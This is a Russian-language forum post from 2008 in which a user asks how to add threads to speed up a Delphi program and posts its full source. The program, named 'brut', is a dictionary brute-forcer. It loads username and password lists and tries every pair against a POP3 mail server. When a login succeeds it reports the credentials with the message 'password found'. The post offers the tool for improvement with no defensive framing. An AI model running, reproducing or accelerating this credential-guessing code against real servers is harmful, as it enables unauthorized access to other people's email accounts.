
22.12.2008, 04:08
|
Прохожий
|
|
Регистрация: 22.12.2008
Сообщения: 1
Репутация: 10
|
|
Использование потоков
Здраствуйте срочно нужна помощь по использованию потоков в данном приложение, чтобы увеличить скорость перебора,
Кто может скажите пожалуйста что надо дописать.
Если потребуется могу соурс выложить.
Зарание огромное спасибо.
Код:
unit brut;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, Buttons, StdCtrls,
IdThreadComponent, IdThreadMgrPool, IdThreadMgr, IdThreadMgrDefault,
ComCtrls;
type
TForm1 = class(TForm)
NameEdit: TEdit;
PassEdit: TEdit;
ServerNameEdit: TEdit;
PortEdit: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Button1: TButton;
BitBtn1: TBitBtn;
IdPOP: TIdPOP3;
IdAntiFreeze1: TIdAntiFreeze;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin //Создаем массивы строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin //Передаем имя и пароль компоненту
IdPOP.Username := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения.
try
IdPOP.Connect;
except
end; //Если соединение установлено, то выводим об этом сообщение
if IdPOP.Connected
then
begin //Показываем найденный пароль
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end; //Уничтожаем массивы строк
LoginStrings.Free;
PassStrings.Free;
end;
end.
|